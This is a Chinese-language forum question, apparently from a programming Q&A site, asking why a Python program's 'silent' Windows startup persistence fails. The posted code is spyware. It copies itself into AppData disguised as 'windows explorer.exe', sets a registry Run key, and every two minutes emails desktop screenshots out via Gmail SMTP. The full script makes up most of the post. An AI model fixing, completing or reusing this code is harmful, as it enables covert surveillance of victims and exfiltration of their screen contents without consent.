如何将我的python EXE文件静默添加到Windows启动

我正在使用该启动regedit代码(python 3),但无法正常工作

启动代码:

def become_persistent(self):
    evil_file_location = os.environ["appdata"] + "\\ windows explorer.exe"
    if not os.path.exists(evil_file_location):
        shutil.copyfile(sys.executable, evil_file_location)
        subprocess.call('reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v test /t REG_SZ /d "' + evil_file_location + '"', shell=True)

完整代码在这里

我已经制作了一个python脚本,可以在特定时间间隔后发送屏幕截图。现在,我要向该程序添加持久性(程序也要在启动时启动)。我已经在程序中添加了启动语句,但是它不起作用。

import smtplib
import sys
from email.mime.multipart import MIMEMultipart
from email.mime.image import MIMEImage
import time
import os
from smtplib import SMTP
import shutil
from PIL import ImageGrab
import subprocess
import self

def become_persistent(self):
    evil_file_location = os.environ["appdata"] + "\\ windows explorer.exe"
    if not os.path.exists(evil_file_location):
        shutil.copyfile(sys.executable, evil_file_location)
        subprocess.call('reg add HKCV\Software\Microsoft\Windows\CurrentVersion\Run /v test /t REG_SZ /d "' + evil_file_location + '"', shell=True)

    self.become_persistent()
s: SMTP = smtplib.SMTP('smtp.gmail.com', 587)
s.starttls()
s.login("zainali90900666@gmail.com", "password")

msg = MIMEMultipart()
msg['Subject'] = 'Test Email'
msg['From'] = "zainali90900666@gmail.com"
msg['To'] = "zainali90900666@gmail.com"
while True:
    snapshot = ImageGrab.grab()
    # Using png because it cannot write mode RGBA as JPEG
    file = "scr.png"
    snapshot.save(file)
    # Opening the image file and then attaching it
    with open(file, 'rb') as f:
        img = MIMEImage(f.read())
        img.add_header('Content-Disposition', 'attachment', filename=file)
        msg.attach(img)
    os.remove(file)
    s.sendmail("zainali90900666@gmail.com", "zainali90900666@gmail.com", msg.as_string())
    # Change this value to your liking
    time.sleep(120)